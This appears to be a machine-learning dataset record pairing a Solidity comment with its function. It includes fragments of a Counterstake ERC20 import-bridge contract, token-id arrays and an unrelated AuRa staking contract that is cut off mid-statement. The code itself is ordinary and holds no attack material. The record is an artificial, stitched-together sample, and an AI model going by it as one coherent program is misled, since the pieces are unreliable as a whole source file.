_allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface IERC20WithSymbol is IERC20 { function symbol() external view returns (string memory); } contract Import is ERC20, Counterstake { event NewRepatriation(address sender_address, uint amount, uint reward, string home_address, string data); address public oracleAddress; // min price of imported asset in terms of stake asset, to protect against malicious oracles // The price is multiplied by 1e20 uint public min_price20; string public home_network; string public home_asset; bytes32 private constant base_hash = keccak256(abi.encodePacked("base")); bytes32 private constant zx_hash = keccak256(abi.encodePacked("0x0000000000000000000000000000000000000000")); constructor (string memory _home_network, string memory _home_asset, string memory __name, string memory __symbol, address stakeTokenAddr, address oracleAddr, uint16 _counterstake_coef100, uint16 _ratio100, uint _large_threshold, uint[] memory _challenging_periods, uint[] memory _large_challenging_periods) Counterstake(stakeTokenAddr, _counterstake_coef100, _ratio100, _large_threshold, _challenging_periods, _large_challenging_periods) ERC20(__name, __symbol) { initImport(_home_network, _home_asset, __name, __symbol, oracleAddr); } function initImport(string memory _home_network, string memory _home_asset, string memory __name, string memory __symbol, address oracleAddr) public { require(address(governance) == address(0), "already initialized"); oracleAddress = oracleAddr; home_network = _home_network; home_asset = _home_asset; name = __name; symbol = __symbol; } function setupGovernance(GovernanceFactory governanceFactory, VotedValueFactory votedValueFactory) override virtual public { super.setupGovernance(governanceFactory, votedValueFactory); governance.addVotedValue("oracleAddress", votedValueFactory.createVotedValueAddress(governance, oracleAddress, this.validateOracle, this.setOracle)); governance.addVotedValue("min_price20", votedValueFactory.createVotedValueUint(governance, min_price20, this.validateMinPrice, this.setMinPrice)); } function getOraclePrice(address oracleAddr) view private returns (uint, uint) { bytes32 home_asset_hash = keccak256(abi.encodePacked(home_asset)); return IOracle(oracleAddr).getPrice( home_asset_hash == base_hash || home_asset_hash == zx_hash ? home_network : home_asset, settings.tokenAddress == address(0) ? "_NATIVE_" : IERC20WithSymbol(settings.tokenAddress).symbol() ); } function validateOracle(address oracleAddr) view external { require(CounterstakeLibrary.isContract(oracleAddr), "bad oracle"); (uint num, uint den) = getOraclePrice(oracleAddr); require(num > 0 || den > 0, "no price from oracle"); } function setOracle(address oracleAddr) onlyVotedValueContract external { oracleAddress = oracleAddr; } function validateMinPrice(uint _min_price20) pure external { // anything goes } function setMinPrice(uint _min_price20) onlyVotedValueContract external { min_price20 = _min_price20; } // repatriate function transferToHomeChain(string memory home_address, string memory data, uint amount, uint reward) external { _burn(msg.sender, amount); emit NewRepatriation(msg.sender, amount, reward, home_address, data); } function getRequiredStake(uint amount) public view override returns (uint) { (uint num, uint den) = getOraclePrice(oracleAddress); require(num > 0, "price num must be positive"); require(den > 0, "price den must be positive"); uint stake_in_image_asset = amount * settings.ratio100 / 100; return Math.max(Math.max(stake_in_image_asset * num / den, stake_in_image_asset * min_price20 / 1e20), settings.min_stake); } function sendWithdrawals(address payable to_address, uint paid_claimed_amount, uint won_stake) internal override { if (paid_claimed_amount > 0){ _mint(to_address, paid_claimed_amount); } if (settings.tokenAddress == address(0)) to_address.transfer(won_stake); else require(IERC20(settings.tokenAddress).transfer(to_address, won_stake), "failed to send the won stake"); } function receiveMoneyInClaim(uint stake, uint paid_amount) internal override { if (paid_amount > 0) _burn(msg.sender, paid_amount); receiveStakeAsset(stake); } function sendToClaimRecipient(address payable to_address, uint paid_amount) internal override { _mint(to_address, paid_amount); } }
would be happy to call this from the constructor but unfortunately `this` is not set at that time yet
function setupGovernance(GovernanceFactory governanceFactory, VotedValueFactory votedValueFactory) virtual public { require(address(governance) == address(0), "already initialized"); governance = governanceFactory.createGovernance(address(this), settings.tokenAddress); governance.addVotedValue("ratio100", votedValueFactory.createVotedValueUint(governance, settings.ratio100, this.validateRatio, this.setRatio)); governance.addVotedValue("counterstake_coef100", votedValueFactory.createVotedValueUint(governance, settings.counterstake_coef100, this.validateCounterstakeCoef, this.setCounterstakeCoef)); governance.addVotedValue("min_stake", votedValueFactory.createVotedValueUint(governance, settings.min_stake, this.validateMinStake, this.setMinStake)); governance.addVotedValue("min_tx_age", votedValueFactory.createVotedValueUint(governance, settings.min_tx_age, this.validateMinTxAge, this.setMinTxAge)); governance.addVotedValue("large_threshold", votedValueFactory.createVotedValueUint(governance, settings.large_threshold, this.validateLargeThreshold, this.setLargeThreshold)); governance.addVotedValue("challenging_periods", votedValueFactory.createVotedValueUintArray(governance, settings.challenging_periods, this.validateChallengingPeriods, this.setChallengingPeriods)); governance.addVotedValue("large_challenging_periods", votedValueFactory.createVotedValueUintArray(governance, settings.large_challenging_periods, this.validateChallengingPeriods, this.setLargeChallengingPeriods)); }
2,328,408
[ 1, 91, 1006, 506, 5622, 2074, 358, 745, 333, 628, 326, 3885, 1496, 640, 24233, 1375, 2211, 68, 353, 486, 444, 622, 716, 813, 4671, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 3875, 43, 1643, 82, 1359, 12, 43, 1643, 82, 1359, 1733, 314, 1643, 82, 1359, 1733, 16, 776, 16474, 620, 1733, 331, 16474, 620, 1733, 13, 5024, 1071, 288, 203, 202, 202, 6528, 12, 2867, 12, 75, 1643, 82, 1359, 13, 422, 1758, 12, 20, 3631, 315, 17583, 6454, 8863, 203, 202, 202, 75, 1643, 82, 1359, 273, 314, 1643, 82, 1359, 1733, 18, 2640, 43, 1643, 82, 1359, 12, 2867, 12, 2211, 3631, 1947, 18, 2316, 1887, 1769, 203, 203, 202, 202, 75, 1643, 82, 1359, 18, 1289, 58, 16474, 620, 2932, 9847, 6625, 3113, 331, 16474, 620, 1733, 18, 2640, 58, 16474, 620, 5487, 12, 75, 1643, 82, 1359, 16, 1947, 18, 9847, 6625, 16, 333, 18, 5662, 8541, 16, 333, 18, 542, 8541, 10019, 203, 202, 202, 75, 1643, 82, 1359, 18, 1289, 58, 16474, 620, 2932, 7476, 334, 911, 67, 24305, 6625, 3113, 331, 16474, 620, 1733, 18, 2640, 58, 16474, 620, 5487, 12, 75, 1643, 82, 1359, 16, 1947, 18, 7476, 334, 911, 67, 24305, 6625, 16, 333, 18, 5662, 4789, 334, 911, 4249, 10241, 16, 333, 18, 542, 4789, 334, 911, 4249, 10241, 10019, 203, 202, 202, 75, 1643, 82, 1359, 18, 1289, 58, 16474, 620, 2932, 1154, 67, 334, 911, 3113, 331, 16474, 620, 1733, 18, 2640, 58, 16474, 620, 5487, 12, 75, 1643, 82, 1359, 16, 1947, 18, 1154, 67, 334, 911, 16, 333, 18, 5662, 2930, 510, 911, 16, 333, 18, 542, 2930, 510, 911, 10019, 203, 202, 202, 75, 1643, 82, 1359, 2 ]
pragma solidity 0.5.10; import "../interfaces/IBlockRewardAuRa.sol"; import "../interfaces/IERC677.sol"; import "../interfaces/IGovernance.sol"; import "../interfaces/IStakingAuRa.sol"; import "../interfaces/IValidatorSetAuRa.sol"; import "../upgradeability/UpgradeableOwned.sol"; import "../libs/SafeMath.sol"; /// @dev Implements staking and withdrawal logic. contract StakingAuRaBase is UpgradeableOwned, IStakingAuRa { using SafeMath for uint256; // =============================================== Storage ======================================================== // WARNING: since this contract is upgradeable, do not remove // existing storage variables, do not change their order, // and do not change their types! uint256[] internal _pools; uint256[] internal _poolsInactive; uint256[] internal _poolsToBeElected; uint256[] internal _poolsToBeRemoved; uint256[] internal _poolsLikelihood; uint256 internal _poolsLikelihoodSum; mapping(uint256 => address[]) internal _poolDelegators; mapping(uint256 => address[]) internal _poolDelegatorsInactive; mapping(address => uint256[]) internal _delegatorPools; mapping(address => mapping(uint256 => uint256)) internal _delegatorPoolsIndexes; mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal _stakeAmountByEpoch; mapping(uint256 => uint256) internal _stakeInitial; // Reserved storage slots to allow for layout changes in the future. uint256[24] private ______gapForInternal; /// @dev The limit of the minimum candidate stake (CANDIDATE_MIN_STAKE). uint256 public candidateMinStake; /// @dev The limit of the minimum delegator stake (DELEGATOR_MIN_STAKE). uint256 public delegatorMinStake; /// @dev The snapshot of tokens amount staked into the specified pool by the specified delegator /// before the specified staking epoch. Used by the `claimReward` function. /// The first parameter is the pool id, the second one is delegator's address, /// the third one is staking epoch number. mapping(uint256 => mapping(address => mapping(uint256 => uint256))) public delegatorStakeSnapshot; /// @dev The current amount of staking tokens/coins ordered for withdrawal from the specified /// pool by the specified staker. Used by the `orderWithdraw`, `claimOrderedWithdraw` and other functions. /// The first parameter is the pool id, the second one is the staker address. /// The second parameter should be a zero address if the staker is the pool itself. mapping(uint256 => mapping(address => uint256)) public orderedWithdrawAmount; /// @dev The current total amount of staking tokens/coins ordered for withdrawal from /// the specified pool by all of its stakers. Pool id is accepted as a parameter. mapping(uint256 => uint256) public orderedWithdrawAmountTotal; /// @dev The number of the staking epoch during which the specified staker ordered /// the latest withdraw from the specified pool. Used by the `claimOrderedWithdraw` function /// to allow the ordered amount to be claimed only in future staking epochs. The first parameter /// is the pool id, the second one is the staker address. /// The second parameter should be a zero address if the staker is the pool itself. mapping(uint256 => mapping(address => uint256)) public orderWithdrawEpoch; /// @dev The delegator's index in the array returned by the `poolDelegators` getter. /// Used by the `_removePoolDelegator` internal function. The first parameter is a pool id. /// The second parameter is delegator's address. /// If the value is zero, it may mean the array doesn't contain the delegator. /// Check if the delegator is in the array using the `poolDelegators` getter. mapping(uint256 => mapping(address => uint256)) public poolDelegatorIndex; /// @dev The delegator's index in the `poolDelegatorsInactive` array. /// Used by the `_removePoolDelegatorInactive` internal function. /// A delegator is considered inactive if they have withdrawn their stake from /// the specified pool but haven't yet claimed an ordered amount. /// The first parameter is a pool id. The second parameter is delegator's address. mapping(uint256 => mapping(address => uint256)) public poolDelegatorInactiveIndex; /// @dev The pool's index in the array returned by the `getPoolsInactive` getter. /// Used by the `_removePoolInactive` internal function. The pool id is accepted as a parameter. mapping(uint256 => uint256) public poolInactiveIndex; /// @dev The pool's index in the array returned by the `getPools` getter. /// Used by the `_removePool` internal function. A pool id is accepted as a parameter. /// If the value is zero, it may mean the array doesn't contain the address. /// Check the address is in the array using the `isPoolActive` getter. mapping(uint256 => uint256) public poolIndex; /// @dev The pool's index in the array returned by the `getPoolsToBeElected` getter. /// Used by the `_deletePoolToBeElected` and `_isPoolToBeElected` internal functions. /// The pool id is accepted as a parameter. /// If the value is zero, it may mean the array doesn't contain the address. /// Check the address is in the array using the `getPoolsToBeElected` getter. mapping(uint256 => uint256) public poolToBeElectedIndex; /// @dev The pool's index in the array returned by the `getPoolsToBeRemoved` getter. /// Used by the `_deletePoolToBeRemoved` internal function. /// The pool id is accepted as a parameter. /// If the value is zero, it may mean the array doesn't contain the address. /// Check the address is in the array using the `getPoolsToBeRemoved` getter. mapping(uint256 => uint256) public poolToBeRemovedIndex; /// @dev A boolean flag indicating whether the reward was already taken /// from the specified pool by the specified staker for the specified staking epoch. /// The first parameter is the pool id, the second one is staker's address, /// the third one is staking epoch number. /// The second parameter should be a zero address if the staker is the pool itself. mapping(uint256 => mapping(address => mapping(uint256 => bool))) public rewardWasTaken; /// @dev The amount of tokens currently staked into the specified pool by the specified /// staker. Doesn't include the amount ordered for withdrawal. /// The first parameter is the pool id, the second one is the staker address. /// The second parameter should be a zero address if the staker is the pool itself. mapping(uint256 => mapping(address => uint256)) public stakeAmount; /// @dev The number of staking epoch before which the specified delegator placed their first /// stake into the specified pool. If this is equal to zero, it means the delegator never /// staked into the specified pool. The first parameter is the pool id, /// the second one is delegator's address. mapping(uint256 => mapping(address => uint256)) public stakeFirstEpoch; /// @dev The number of staking epoch before which the specified delegator withdrew their stake /// from the specified pool. If this is equal to zero and `stakeFirstEpoch` is not zero, that means /// the delegator still has some stake in the specified pool. The first parameter is the pool id, /// the second one is delegator's address. mapping(uint256 => mapping(address => uint256)) public stakeLastEpoch; /// @dev The duration period (in blocks) at the end of staking epoch during which /// participants are not allowed to stake/withdraw/order/claim their staking tokens/coins. uint256 public stakeWithdrawDisallowPeriod; /// @dev The serial number of the current staking epoch. uint256 public stakingEpoch; /// @dev The duration of a staking epoch in blocks. uint256 public stakingEpochDuration; /// @dev The number of the first block of the current staking epoch. uint256 public stakingEpochStartBlock; /// @dev Returns the total amount of staking tokens/coins currently staked into the specified pool. /// Doesn't include the amount ordered for withdrawal. /// The pool id is accepted as a parameter. mapping(uint256 => uint256) public stakeAmountTotal; /// @dev The address of the `ValidatorSetAuRa` contract. IValidatorSetAuRa public validatorSetContract; /// @dev The block number of the last change in this contract. /// Can be used by Staking DApp. uint256 public lastChangeBlock; /// @dev The address of the `Governance` contract. IGovernance public governanceContract; // Reserved storage slots to allow for layout changes in the future. uint256[23] private ______gapForPublic; // ============================================== Constants ======================================================= /// @dev The max number of candidates (including validators). This limit was determined through stress testing. uint256 public constant MAX_CANDIDATES = 3000; // ================================================ Events ======================================================== /// @dev Emitted by the `_addPool` internal function to signal that /// a new pool is created. /// @param poolStakingAddress The staking address of newly added pool. /// @param poolMiningAddress The mining address of newly added pool. /// @param poolId The id of newly added pool. event AddedPool(address indexed poolStakingAddress, address indexed poolMiningAddress, uint256 poolId); /// @dev Emitted by the `claimOrderedWithdraw` function to signal the staker withdrew the specified /// amount of requested tokens/coins from the specified pool during the specified staking epoch. /// @param fromPoolStakingAddress A staking address of the pool from which the `staker` withdrew the `amount`. /// @param staker The address of the staker that withdrew the `amount`. /// @param stakingEpoch The serial number of the staking epoch during which the claim was made. /// @param amount The withdrawal amount. /// @param fromPoolId An id of the pool from which the `staker` withdrew the `amount`. event ClaimedOrderedWithdrawal( address indexed fromPoolStakingAddress, address indexed staker, uint256 indexed stakingEpoch, uint256 amount, uint256 fromPoolId ); /// @dev Emitted by the `moveStake` function to signal the staker moved the specified /// amount of stake from one pool to another during the specified staking epoch. /// @param fromPoolStakingAddress A staking address of the pool from which the `staker` moved the stake. /// @param toPoolStakingAddress A staking address of the destination pool where the `staker` moved the stake. /// @param staker The address of the staker who moved the `amount`. /// @param stakingEpoch The serial number of the staking epoch during which the `amount` was moved. /// @param amount The stake amount which was moved. /// @param fromPoolId An id of the pool from which the `staker` moved the stake. /// @param toPoolId An id of the destination pool where the `staker` moved the stake. event MovedStake( address fromPoolStakingAddress, address indexed toPoolStakingAddress, address indexed staker, uint256 indexed stakingEpoch, uint256 amount, uint256 fromPoolId, uint256 toPoolId ); /// @dev Emitted by the `orderWithdraw` function to signal the staker ordered the withdrawal of the /// specified amount of their stake from the specified pool during the specified staking epoch. /// @param fromPoolStakingAddress A staking address of the pool from which the `staker` /// ordered a withdrawal of the `amount`. /// @param staker The address of the staker that ordered the withdrawal of the `amount`. /// @param stakingEpoch The serial number of the staking epoch during which the order was made. /// @param amount The ordered withdrawal amount. Can be either positive or negative. /// See the `orderWithdraw` function. /// @param fromPoolId An id of the pool from which the `staker` ordered a withdrawal of the `amount`. event OrderedWithdrawal( address indexed fromPoolStakingAddress, address indexed staker, uint256 indexed stakingEpoch, int256 amount, uint256 fromPoolId ); /// @dev Emitted by the `stake` function to signal the staker placed a stake of the specified /// amount for the specified pool during the specified staking epoch. /// @param toPoolStakingAddress A staking address of the pool into which the `staker` placed the stake. /// @param staker The address of the staker that placed the stake. /// @param stakingEpoch The serial number of the staking epoch during which the stake was made. /// @param amount The stake amount. /// @param toPoolId An id of the pool into which the `staker` placed the stake. event PlacedStake( address indexed toPoolStakingAddress, address indexed staker, uint256 indexed stakingEpoch, uint256 amount, uint256 toPoolId ); /// @dev Emitted by the `withdraw` function to signal the staker withdrew the specified /// amount of a stake from the specified pool during the specified staking epoch. /// @param fromPoolStakingAddress A staking address of the pool from which the `staker` withdrew the `amount`. /// @param staker The address of staker that withdrew the `amount`. /// @param stakingEpoch The serial number of the staking epoch during which the withdrawal was made. /// @param amount The withdrawal amount. /// @param fromPoolId An id of the pool from which the `staker` withdrew the `amount`. event WithdrewStake( address indexed fromPoolStakingAddress, address indexed staker, uint256 indexed stakingEpoch, uint256 amount, uint256 fromPoolId ); // ============================================== Modifiers ======================================================= /// @dev Ensures the transaction gas price is not zero. modifier gasPriceIsValid() { require(tx.gasprice != 0); _; } /// @dev Ensures the caller is the BlockRewardAuRa contract address. modifier onlyBlockRewardContract() { require(msg.sender == validatorSetContract.blockRewardContract()); _; } /// @dev Ensures the `initialize` function was called before. modifier onlyInitialized { require(isInitialized()); _; } /// @dev Ensures the caller is the ValidatorSetAuRa contract address. modifier onlyValidatorSetContract() { require(msg.sender == address(validatorSetContract)); _; } // =============================================== Setters ======================================================== /// @dev Fallback function. Prevents direct sending native coins to this contract. function () payable external { revert(); } /// @dev Adds a new candidate's pool to the list of active pools (see the `getPools` getter), /// moves the specified amount of staking tokens/coins from the candidate's staking address /// to the candidate's pool, and returns a unique id of the newly added pool. /// A participant calls this function using their staking address when /// they want to create a pool. This is a wrapper for the `stake` function. /// @param _amount The amount of tokens to be staked. Ignored when staking in native coins /// because `msg.value` is used in that case. /// @param _miningAddress The mining address of the candidate. The mining address is bound to the staking address /// (msg.sender). This address cannot be equal to `msg.sender`. /// @param _name A name of the pool as UTF-8 string (max length is 256 bytes). /// @param _description A short description of the pool as UTF-8 string (max length is 1024 bytes). function addPool( uint256 _amount, address _miningAddress, string calldata _name, string calldata _description ) external payable returns(uint256) { return _addPool(_amount, msg.sender, _miningAddress, false, _name, _description); } /// @dev Adds the `unremovable validator` to either the `poolsToBeElected` or the `poolsToBeRemoved` array /// depending on their own stake in their own pool when they become removable. This allows the /// `ValidatorSetAuRa.newValidatorSet` function to recognize the unremovable validator as a regular removable pool. /// Called by the `ValidatorSet.clearUnremovableValidator` function. /// @param _unremovablePoolId The pool id of the unremovable validator. function clearUnremovableValidator(uint256 _unremovablePoolId) external onlyValidatorSetContract { require(_unremovablePoolId != 0); if (stakeAmount[_unremovablePoolId][address(0)] != 0) { _addPoolToBeElected(_unremovablePoolId); _setLikelihood(_unremovablePoolId); } else { _addPoolToBeRemoved(_unremovablePoolId); } } /// @dev Increments the serial number of the current staking epoch. /// Called by the `ValidatorSetAuRa.newValidatorSet` at the last block of the finished staking epoch. function incrementStakingEpoch() external onlyValidatorSetContract { stakingEpoch++; } /// @dev Initializes the network parameters. /// Can only be called by the constructor of the `InitializerAuRa` contract or owner. /// @param _validatorSetContract The address of the `ValidatorSetAuRa` contract. /// @param _governanceContract The address of the `Governance` contract. /// @param _initialIds The array of initial validators' pool ids. /// @param _delegatorMinStake The minimum allowed amount of delegator stake in Wei. /// @param _candidateMinStake The minimum allowed amount of candidate/validator stake in Wei. /// @param _stakingEpochDuration The duration of a staking epoch in blocks /// (e.g., 120954 = 1 week for 5-seconds blocks in AuRa). /// @param _stakingEpochStartBlock The number of the first block of initial staking epoch /// (must be zero if the network is starting from genesis block). /// @param _stakeWithdrawDisallowPeriod The duration period (in blocks) at the end of a staking epoch /// during which participants cannot stake/withdraw/order/claim their staking tokens/coins /// (e.g., 4320 = 6 hours for 5-seconds blocks in AuRa). function initialize( address _validatorSetContract, address _governanceContract, uint256[] calldata _initialIds, uint256 _delegatorMinStake, uint256 _candidateMinStake, uint256 _stakingEpochDuration, uint256 _stakingEpochStartBlock, uint256 _stakeWithdrawDisallowPeriod ) external { require(_validatorSetContract != address(0)); require(_initialIds.length > 0); require(_delegatorMinStake != 0); require(_candidateMinStake != 0); require(_stakingEpochDuration != 0); require(_stakingEpochDuration > _stakeWithdrawDisallowPeriod); require(_stakeWithdrawDisallowPeriod != 0); require(_getCurrentBlockNumber() == 0 || msg.sender == _admin()); require(!isInitialized()); // initialization can only be done once validatorSetContract = IValidatorSetAuRa(_validatorSetContract); governanceContract = IGovernance(_governanceContract); uint256 unremovablePoolId = validatorSetContract.unremovableValidator(); for (uint256 i = 0; i < _initialIds.length; i++) { require(_initialIds[i] != 0); _addPoolActive(_initialIds[i], false); if (_initialIds[i] != unremovablePoolId) { _addPoolToBeRemoved(_initialIds[i]); } } delegatorMinStake = _delegatorMinStake; candidateMinStake = _candidateMinStake; stakingEpochDuration = _stakingEpochDuration; stakingEpochStartBlock = _stakingEpochStartBlock; stakeWithdrawDisallowPeriod = _stakeWithdrawDisallowPeriod; lastChangeBlock = _getCurrentBlockNumber(); } /// @dev Makes initial validator stakes. Can only be called by the owner /// before the network starts (after `initialize` is called but before `stakingEpochStartBlock`), /// or after the network starts from genesis (`stakingEpochStartBlock` == 0). /// Cannot be called more than once and cannot be called when starting from genesis. /// Requires `StakingAuRa` contract balance to be equal to the `_totalAmount`. /// @param _totalAmount The initial validator total stake amount (for all initial validators). function initialValidatorStake(uint256 _totalAmount) external onlyOwner { uint256 currentBlock = _getCurrentBlockNumber(); require(stakingEpoch == 0); require(currentBlock < stakingEpochStartBlock || stakingEpochStartBlock == 0); require(_thisBalance() == _totalAmount); require(_totalAmount % _pools.length == 0); uint256 stakingAmount = _totalAmount.div(_pools.length); uint256 stakingEpochStartBlock_ = stakingEpochStartBlock; // Temporarily set `stakingEpochStartBlock` to the current block number // to avoid revert in the `_stake` function stakingEpochStartBlock = currentBlock; for (uint256 i = 0; i < _pools.length; i++) { uint256 poolId = _pools[i]; address stakingAddress = validatorSetContract.stakingAddressById(poolId); require(stakeAmount[poolId][address(0)] == 0); _stake(stakingAddress, stakingAddress, stakingAmount); _stakeInitial[poolId] = stakingAmount; } // Restore `stakingEpochStartBlock` value stakingEpochStartBlock = stakingEpochStartBlock_; } /// @dev Removes a specified pool from the `pools` array (a list of active pools which can be retrieved by the /// `getPools` getter). Called by the `ValidatorSetAuRa._removeMaliciousValidator` internal function /// when a pool must be removed by the algorithm. /// @param _poolId The id of the pool to be removed. function removePool(uint256 _poolId) external onlyValidatorSetContract { _removePool(_poolId); } /// @dev Removes pools which are in the `_poolsToBeRemoved` internal array from the `pools` array. /// Called by the `ValidatorSetAuRa.newValidatorSet` function when pools must be removed by the algorithm. function removePools() external onlyValidatorSetContract { uint256[] memory poolsToRemove = _poolsToBeRemoved; for (uint256 i = 0; i < poolsToRemove.length; i++) { _removePool(poolsToRemove[i]); } } /// @dev Removes the candidate's or validator's pool from the `pools` array (a list of active pools which /// can be retrieved by the `getPools` getter). When a candidate or validator wants to remove their pool, /// they should call this function from their staking address. A validator cannot remove their pool while /// they are an `unremovable validator`. function removeMyPool() external gasPriceIsValid onlyInitialized { uint256 poolId = validatorSetContract.idByStakingAddress(msg.sender); require(poolId != 0); // initial validator cannot remove their pool during the initial staking epoch require(stakingEpoch > 0 || !validatorSetContract.isValidatorById(poolId)); require(poolId != validatorSetContract.unremovableValidator()); _removePool(poolId); } /// @dev Sets the number of the first block in the upcoming staking epoch. /// Called by the `ValidatorSetAuRa.newValidatorSet` function at the last block of a staking epoch. /// @param _blockNumber The number of the very first block in the upcoming staking epoch. function setStakingEpochStartBlock(uint256 _blockNumber) external onlyValidatorSetContract { stakingEpochStartBlock = _blockNumber; } /// @dev Moves staking tokens/coins from one pool to another. A staker calls this function when they want /// to move their tokens/coins from one pool to another without withdrawing their tokens/coins. /// @param _fromPoolStakingAddress The staking address of the source pool. /// @param _toPoolStakingAddress The staking address of the target pool. /// @param _amount The amount of staking tokens/coins to be moved. The amount cannot exceed the value returned /// by the `maxWithdrawAllowed` getter. function moveStake( address _fromPoolStakingAddress, address _toPoolStakingAddress, uint256 _amount ) external { require(_fromPoolStakingAddress != _toPoolStakingAddress); uint256 fromPoolId = validatorSetContract.idByStakingAddress(_fromPoolStakingAddress); uint256 toPoolId = validatorSetContract.idByStakingAddress(_toPoolStakingAddress); address staker = msg.sender; _withdraw(_fromPoolStakingAddress, staker, _amount); _stake(_toPoolStakingAddress, staker, _amount); emit MovedStake( _fromPoolStakingAddress, _toPoolStakingAddress, staker, stakingEpoch, _amount, fromPoolId, toPoolId ); } /// @dev Moves the specified amount of staking tokens/coins from the staker's address to the staking address of /// the specified pool. Actually, the amount is stored in a balance of this StakingAuRa contract. /// A staker calls this function when they want to make a stake into a pool. /// @param _toPoolStakingAddress The staking address of the pool where the tokens should be staked. /// @param _amount The amount of tokens to be staked. Ignored when staking in native coins /// because `msg.value` is used instead. function stake(address _toPoolStakingAddress, uint256 _amount) external payable { _stake(_toPoolStakingAddress, _amount); } /// @dev Moves the specified amount of staking tokens/coins from the staking address of /// the specified pool to the staker's address. A staker calls this function when they want to withdraw /// their tokens/coins. /// @param _fromPoolStakingAddress The staking address of the pool from which the tokens/coins should be withdrawn. /// @param _amount The amount of tokens/coins to be withdrawn. The amount cannot exceed the value returned /// by the `maxWithdrawAllowed` getter. function withdraw(address _fromPoolStakingAddress, uint256 _amount) external { address payable staker = msg.sender; uint256 fromPoolId = validatorSetContract.idByStakingAddress(_fromPoolStakingAddress); _withdraw(_fromPoolStakingAddress, staker, _amount); _sendWithdrawnStakeAmount(staker, _amount); emit WithdrewStake(_fromPoolStakingAddress, staker, stakingEpoch, _amount, fromPoolId); } /// @dev Orders tokens/coins withdrawal from the staking address of the specified pool to the /// staker's address. The requested tokens/coins can be claimed after the current staking epoch is complete using /// the `claimOrderedWithdraw` function. /// @param _poolStakingAddress The staking address of the pool from which the amount will be withdrawn. /// @param _amount The amount to be withdrawn. A positive value means the staker wants to either set or /// increase their withdrawal amount. A negative value means the staker wants to decrease a /// withdrawal amount that was previously set. The amount cannot exceed the value returned by the /// `maxWithdrawOrderAllowed` getter. function orderWithdraw(address _poolStakingAddress, int256 _amount) external gasPriceIsValid onlyInitialized { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); require(_poolStakingAddress != address(0)); require(_amount != 0); require(poolId != 0); address staker = msg.sender; address delegatorOrZero = (staker != _poolStakingAddress) ? staker : address(0); require(_isWithdrawAllowed(poolId, delegatorOrZero != address(0))); uint256 newOrderedAmount = orderedWithdrawAmount[poolId][delegatorOrZero]; uint256 newOrderedAmountTotal = orderedWithdrawAmountTotal[poolId]; uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero]; uint256 newStakeAmountTotal = stakeAmountTotal[poolId]; if (_amount > 0) { uint256 amount = uint256(_amount); // How much can `staker` order for withdrawal from `_poolStakingAddress` at the moment? require(amount <= maxWithdrawOrderAllowed(_poolStakingAddress, staker)); newOrderedAmount = newOrderedAmount.add(amount); newOrderedAmountTotal = newOrderedAmountTotal.add(amount); newStakeAmount = newStakeAmount.sub(amount); newStakeAmountTotal = 